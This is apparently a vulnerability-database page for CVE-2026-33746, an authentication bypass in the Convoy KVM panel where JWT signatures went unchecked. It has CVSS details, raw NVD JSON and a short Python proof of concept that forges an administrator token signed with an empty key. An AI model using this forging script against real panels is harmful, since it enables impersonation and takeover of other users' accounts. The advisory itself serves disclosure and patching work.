Security Vulnerability Report
中文
CVE-2026-33746 CVSS 9.8 CRITICAL

CVE-2026-33746

Published: 2026-04-02 16:16:23
Last Modified: 2026-04-16 17:38:09

Description

Convoy is a KVM server management panel for hosting businesses. From version 3.9.0-beta to before version 4.5.1, the JWTService::decode() method did not verify the cryptographic signature of JWT tokens. While the method configured a symmetric HMAC-SHA256 signer via lcobucci/jwt, it only validated time-based claims (exp, nbf, iat) using the StrictValidAt constraint. The SignedWith constraint was not included in the validation step. This means an attacker could forge or tamper with JWT token payloads — such as modifying the user_uuid claim — and the token would be accepted as valid, as long as the time-based claims were satisfied. This directly impacts the SSO authentication flow (LoginController::authorizeToken), allowing an attacker to authenticate as any user by crafting a token with an arbitrary user_uuid. This issue has been patched in version 4.5.1.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:convoypanel:convoy:*:*:*:*:*:*:*:* - VULNERABLE
Convoy >= 3.9.0-beta, < 4.5.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import jwt import time # Target user UUID to impersonate (Administrator) target_uuid = "admin-uuid-here" # Current timestamp current_time = int(time.time()) # Payload construction # The server only checks time constraints (exp, nbf, iat) payload = { "user_uuid": target_uuid, # Forge the user identity "iat": current_time, # Issued At "exp": current_time + 3600,# Expiration (1 hour later) "nbf": current_time # Not Before } # Since the server does not verify the signature (Missing SignedWith constraint), # we can sign it with any secret or an empty string. # The server's lcobucci/jwt library will skip the signature check. fake_token = jwt.encode(payload, key="", algorithm="HS256") print(f"Forged JWT Token: {fake_token}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33746", "sourceIdentifier": "[email protected]", "published": "2026-04-02T16:16:22.803", "lastModified": "2026-04-16T17:38:08.700", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Convoy is a KVM server management panel for hosting businesses. From version 3.9.0-beta to before version 4.5.1, the JWTService::decode() method did not verify the cryptographic signature of JWT tokens. While the method configured a symmetric HMAC-SHA256 signer via lcobucci/jwt, it only validated time-based claims (exp, nbf, iat) using the StrictValidAt constraint. The SignedWith constraint was not included in the validation step. This means an attacker could forge or tamper with JWT token payloads — such as modifying the user_uuid claim — and the token would be accepted as valid, as long as the time-based claims were satisfied. This directly impacts the SSO authentication flow (LoginController::authorizeToken), allowing an attacker to authenticate as any user by crafting a token with an arbitrary user_uuid. This issue has been patched in version 4.5.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-287"}, {"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:convoypanel:convoy:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.5.1", "matchCriteriaId": "2833A04F-7442-4174-A9EA-C4C44F1F882A"}]}]}], "references": [{"url": "https://github.com/ConvoyPanel/panel/releases/tag/v4.5.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/ConvoyPanel/panel/security/advisories/GHSA-92pg-3w49-4w5x", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}